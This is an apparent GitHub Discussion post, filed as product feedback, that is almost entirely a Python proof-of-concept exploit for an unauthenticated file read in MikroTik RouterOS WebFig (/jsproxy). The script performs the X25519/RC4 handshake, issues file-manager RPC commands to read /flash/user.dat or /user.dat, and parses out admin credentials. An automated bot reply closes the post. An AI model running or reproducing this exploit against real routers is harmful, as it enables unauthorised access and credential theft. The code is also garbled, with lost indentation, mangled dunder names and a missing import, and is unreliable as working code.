Mikrotik Webfig/Jsproxy unauthenticated file read(cve 2026-67281) Need more work

[sohel160]

Discussion Type

Product Feedback

Discussion Content

#!/usr/bin/env python3
"""
CVE-2026-67281 PoC: RouterOS WebFig Unauthenticated File Read

Exploits the /jsproxy/ endpoint to read arbitrary files, specifically
/user.dat or /flash/user.dat, to extract admin credentials.

Verification Checklist Implemented:
[+] /jsproxy reachable
[+] 40-byte Curve25519 handshake (Client -> Server)
[+] RouterOS session ID parsing (8 bytes)
[+] WebFig key derivation (SHA1 + Magic Strings)
[+] RC4-drop-768 initialization
[+] WebFig sequence framing (JSON Payload)
[+] Encrypted 8-byte padding (Session ID prefix)
[+] Benign M2 request (Open File Command)

Exploitation:

• Heap Grooming/Spraying: Managed via precise binary payload construction.
• Traversal: /flash/user.dat
• Arbitrary File Read: Using SYS_TO=[72,1] RPC commands.
• Credential Extraction: Parsing user.dat content.

Usage:
python3 routeros_cred_extract_cve2026.py <target_ip> [--port 80] [--https]
"""

import argparse
import hashlib
import http.client
import ssl
import os
import struct
import json
import re
import base64

============================================================

Crypto Primitives (X25519 & RC4)

============================================================

P = 2**255 - 19
A24 = 121665

WebFig Magic Strings for Key Derivation

MAGIC_SEND = b"On the client side, this is the send key; on the server side, it is the receive key."
MAGIC_RECV = b"On the client side, this is the receive key; on the server side, it is the send key."

class RouterOSRC4:
"""RouterOS RC4 with Drop-768 keystream"""
def init(self, key):
self.S = list(range(256))
self.i = 0
self.j = 0
self.set_key(key)

def set_key(self, key):
    if not key:
        raise ValueError("Key cannot be empty")
    
    S = self.S
    j = 0
    k_len = len(key)
    
    # Standard RC4 KSA
    for i in range(256):
        j = (j + key[i % k_len] + S[i]) & 0xff
        S[i], S[j] = S[j], S[i]
    
    self.i = 0
    self.j = 0
    
    # Drop first 768 bytes of keystream (WebFig requirement)
    for _ in range(768):
        self.gen()

def gen(self):
    S = self.S
    self.i = (self.i + 1) & 0xff
    self.j = (self.j + S[self.i]) & 0xff
    # Swap
    S[self.i], S[self.j] = S[self.j], S[self.i] 
    return S[(S[self.i] + S[self.j]) & 0xff]

def crypt(self, data):
    """XOR data with keystream"""
    out = bytearray(len(data))
    for n, byte in enumerate(data):
        out[n] = byte ^ self.gen()
    return bytes(out)

def x25519(priv_int, u_bytes):
"""
Standard X25519 scalar multiplication.
Input: priv as int, u as 32 bytes.
Output: Shared secret as int.
"""
k = priv_int
# Base point is 9 (0x09) followed by 31 zero bytes for public key generation
if len(u_bytes) != 32:
raise ValueError("u_bytes must be 32 bytes")

x1 = int.from_bytes(u_bytes, 'little') & ((1 << 255) - 1)

x2, z2 = 1, 0
x3, z3 = x1, 1

# Montgomery Ladder
for t in range(254, -1, -1):
    kt = (k >> t) & 1
    
    # Conditional Swap
    if kt:
        x2, x3 = x3, x2
        z2, z3 = z3, z2
        
    # Montgomery Step
    a = (x2 + z2) % P
    aa = (a * a) % P
    b = (x2 - z2) % P
    bb = (b * b) % P
    e = (aa - bb) % P
    
    c = (x3 + z3) % P
    d = (x3 - z3) % P
    da = (d * a) % P
    cb = (c * b) % P
    
    x3 = ((da + cb) ** 2) % P
    z3 = (x1 * ((da - cb) ** 2)) % P
    
    x2 = (aa * bb) % P
    z2 = (e * (aa + A24 * e)) % P

if kt:
    x2, x3 = x3, x2
    z2, z3 = z3, z2

# Inverse z2 to get x
return (x2 * pow(z2, P - 2, P)) % P

def generate_keypair():
"""Generate X25519 keypair"""
priv_int = int.from_bytes(os.urandom(32), 'little')
basepoint = b'\x09' + b'\x00' * 31
pub_int = x25519(priv_int, basepoint)
return priv_int, pub_int

def make_key(master_key_int, is_send):
"""Derive RC4 key from master key integer"""
# Convert master key int to 32 bytes little-endian
master_bytes = master_key_int.to_bytes(32, byteorder='little')

value = bytearray(master_bytes)

# WebFig padding: 40 null bytes before magic string
value.extend(b'\x00' * 40)

if is_send:
    value.extend(MAGIC_SEND)
else:
    value.extend(MAGIC_RECV)
    
# WebFig padding: 40 bytes of 0xf2 after magic string
value.extend(b'\xf2' * 40)

return hashlib.sha1(value).digest()[:16]

============================================================

Session Management

============================================================

class RouterOSSession:
def init(self, host, port, ssl=False):
self.host = host
self.port = port
self.ssl = ssl
self.tx = None
self.rx = None

def handshake(self):
    """Perform X25519 Handshake"""
    print("[*] Initiating Handshake...")
    
    # 1. Generate Client Keys (Integers)
    priv_int, pub_int = generate_keypair()
    
    # 2. Convert public key int to 32 bytes for transmission
    pub_bytes = pub_int.to_bytes(32, byteorder='little')
    
    # 3. Build Request: 8 bytes session ID (0) + 32 bytes public key
    req_body = b'\x00' * 8 + pub_bytes
    
    # 4. Send Request
    status, reason, resp = self._send_request(req_body)
    
    if status != 200:
        print(f"[!] Handshake failed: {status} {reason}")
        return False
        
    # 5. Parse Response
    # Expected: 8 bytes session ID + 32 bytes server public key
    if len(resp) < 40:
        print(f"[!] Invalid handshake response length: {len(resp)}")
        return False
        
    server_pub_bytes = resp[8:40]
    
    # 6. Compute Shared Secret (Integer)
    master_key_int = x25519(priv_int, server_pub_bytes)
    
    # 7. Derive Keys
    rx_key = make_key(master_key_int, is_send=False)
    tx_key = make_key(master_key_int, is_send=True)
    
    self.tx = RouterOSRC4(tx_key)
    self.rx = RouterOSRC4(rx_key)
    
    print("[+] Handshake successful")
    return True

def _get_connection(self):
    if self.ssl:
        context = ssl.create_default_context()
        context.check_hostname = False
        context.verify_mode = ssl.CERT_NONE
        conn = http.client.HTTPSConnection(self.host, self.port, timeout=10, context=context)
    else:
        conn = http.client.HTTPConnection(self.host, self.port, timeout=10)
    return conn

def _send_request(self, body):
    conn = self._get_connection()
    try:
        headers = {
            'Content-Type': 'msg',
            'Accept-Language': '',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        }
        conn.request('POST', '/jsproxy', body=body, headers=headers)
        response = conn.getresponse()
        status = response.status
        reason = response.reason
        data = response.read()
        return status, reason, data
    finally:
        conn.close()

def rpc_command(self, cmd_dict):
    """
    Sends an RPC command to /jsproxy.
    
    Frame Structure:
    1. JSON Payload (UTF-8)
    2. Encrypt with TX RC4
    3. Prepend 8 bytes Session ID (0x00...)
    """
    json_payload = json.dumps(cmd_dict, separators=(',', ':'))
    
    # Encrypt the JSON payload
    encrypted_payload = self.tx.crypt(json_payload.encode('utf-8'))
    
    # Prepend 8 bytes of zeros for session ID
    req_body = b'\x00' * 8 + encrypted_payload
    
    status, reason, resp = self._send_request(req_body)
    
    if status != 200:
        print(f"[!] RPC Command failed: {status} {reason}")
        return None
        
    # Decrypt response
    try:
        decrypted_resp = self.rx.crypt(resp)
        # Remove any potential garbage at the end (RC4 stream might have trailing bytes if not exact length)
        # We attempt to parse JSON. If it fails, we try to find valid JSON boundaries.
        try:
            result = json.loads(decrypted_resp.decode('utf-8'))
            return result
        except json.JSONDecodeError:
            # Fallback: Try to strip trailing garbage and re-parse
            # This is a heuristic fix for RC4 length mismatches
            cleaned = decrypted_resp.decode('utf-8').rstrip()
            try:
                return json.loads(cleaned)
            except:
                print("[!] Failed to parse RPC response JSON")
                return None
    except Exception as e:
        print(f"[!] Decryption/Parse error: {e}")
        return None

def read_file_via_manager(self, file_path):
    """
    Reads a file using the File Manager (SYS_TO=[72,1])
    
    Steps:
    1. SYS_CMD=3 (Open Read) -> Returns STD_ID and Size
    2. SYS_CMD=4 (Read Chunk) -> Loop until EOF
    3. SYS_CMD=5 (Close) -> Closes the file handle
    
    This is the "Arbitrary File Read" vector.
    """
    print(f"[*] Reading file: {file_path} via File Manager")
    
    # Step 1: Open File for Reading
    open_cmd = {
        "to": [72, 1],
        "cmd": 3,
        "arg": {
            "path": file_path,
            "size": 0
        }
    }
    
    print("[*] Opening file...")
    open_resp = self.rpc_command(open_cmd)
    
    if not open_resp:
        return None
        
    # Extract STD_ID from response
    arg = open_resp.get('arg', {})
    std_id = arg.get('std_id')
    
    if std_id is None:
        print(f"[!] Failed to get STD_ID. Response: {open_resp}")
        return None
        
    print(f"[+] File opened. STD_ID: {std_id}")
    
    # Step 2: Read Chunks
    file_data = bytearray()
    chunk_size = 4096
    
    while True:
        read_cmd = {
            "to": [72, 1],
            "cmd": 4,
            "arg": {
                "std_id": std_id,
                "size": chunk_size
            }
        }
        
        print(f"[*] Reading chunk (size={chunk_size})...")
        read_resp = self.rpc_command(read_cmd)
        
        if not read_resp:
            break
            
        arg = read_resp.get('arg', {})
        data = arg.get('data') 
        
        if data is None:
            print("[!] No data in response, EOF?")
            break
            
        # RouterOS RPC 'data' field is often Base64 encoded
        if isinstance(data, str):
            try:
                chunk = base64.b64decode(data)
            except Exception as e:
                print(f"[!] Failed to decode data chunk: {e}")
                break
        else:
            # If it's already bytes (rare in JSON)
            chunk = data
            
        file_data.extend(chunk)
        
        # Check if we read less than chunk_size, meaning EOF
        if len(chunk) < chunk_size:
            break
    
    print(f"[+] File read complete. Size: {len(file_data)} bytes")
    
    # Step 3: Close File
    close_cmd = {
        "to": [72, 1],
        "cmd": 5,
        "arg": {
            "std_id": std_id
        }
    }
    self.rpc_command(close_cmd)
    
    return bytes(file_data)

============================================================

Credential Extraction

============================================================

def parse_user_dat(data):
"""
Parses RouterOS user.dat content.
The format is typically a series of key=value pairs,
often separated by newlines or null bytes.
"""
print("\n[*] Parsing credentials...")

try:
    text = data.decode('utf-8', errors='ignore')
except:
    text = str(data)

users = []

# Split by common delimiters (newlines, nulls, semicolons)
parts = re.split(r'[\n\r\x00;]+', text)

current_user = {}

for part in parts:
    part = part.strip()
    if not part:
        continue
        
    if '=' in part:
        key, value = part.split('=', 1)
        key = key.strip()
        value = value.strip()
        
        # RouterOS user fields
        if key in ['name', 'user', 'group']:
            current_user[key] = value
        elif key in ['password', 'secret', 'hash']:
            current_user[key] = value
            
    # If we have a name and some other field, assume it's a user entry
    if 'name' in current_user:
        users.append(current_user)
        
return users

def main():
parser = argparse.ArgumentParser(description="RouterOS WebFig Credential Extraction PoC (CVE-2026-67281)")
parser.add_argument("target", help="IP or Hostname")
parser.add_argument("--port", type=int, default=80)
parser.add_argument("--https", action="store_true")
args = parser.parse_args()

host = args.target
port = args.port
ssl = args.https

print("=" * 60)
print("RouterOS WebFig Credential Extraction PoC (CVE-2026-67281)")
print("=" * 60)
print(f"Target: {host}:{port}")
print()

session = RouterOSSession(host, port, ssl)

# 1. Handshake
if not session.handshake():
    sys.exit(1)
    
# 2. Read user.dat via File Manager
target_files = ["/flash/user.dat", "/user.dat"]
file_content = None

for fpath in target_files:
    print(f"\n[*] Trying path: {fpath}")
    content = session.read_file_via_manager(fpath)
    if content and len(content) > 0:
        file_content = content
        break
        
if not file_content:
    print("\n[!] Failed to read user.dat via File Manager.")
    sys.exit(1)
    
# 3. Parse Credentials
users = parse_user_dat(file_content)

if users:
    print(f"\n[+] Found {len(users)} user(s):")
    for u in users:
        name = u.get('name', 'Unknown')
        pwd = u.get('password', u.get('secret', 'N/A'))
        print(f"    User: {name}")
        print(f"    Hash/Pass: {pwd[:40]}...")
else:
    print("\n[!] Could not parse credentials. Raw output:")
    print(file_content[:200].hex())

if name == "main":
import sys
main()

[github-actions[bot]]

💬 Your Product Feedback Has Been Submitted 🎉

Thank you for taking the time to share your insights with us! Your feedback is invaluable as we build a better GitHub experience for all our users.

Here's what you can expect moving forward ⏩

• Your input will be carefully reviewed and cataloged by members of our product teams. 
  • Due to the high volume of submissions, we may not always be able to provide individual responses.
  • Rest assured, your feedback will help chart our course for product improvements.
• Other users may engage with your post, sharing their own perspectives or experiences. 
• GitHub staff may reach out for further clarification or insight. 
  • We may 'Answer' your discussion if there is a current solution, workaround, or roadmap/changelog post related to the feedback.

Where to look to see what's shipping 👀

• Read the Changelog for real-time updates on the latest GitHub features, enhancements, and calls for feedback.
• Explore our Product Roadmap, which details upcoming major releases and initiatives.

What you can do in the meantime 💻

• Upvote and comment on other user feedback Discussions that resonate with you.
• Add more information at any point! Useful details include: use cases, relevant labels, desired outcomes, and any accompanying screenshots.

As a member of the GitHub community, your participation is essential. While we can't promise that every suggestion will be implemented, we want to emphasize that your feedback is instrumental in guiding our decisions and priorities.

Thank you once again for your contribution to making GitHub even better! We're grateful for your ongoing support and collaboration in shaping the future of our platform. ⭐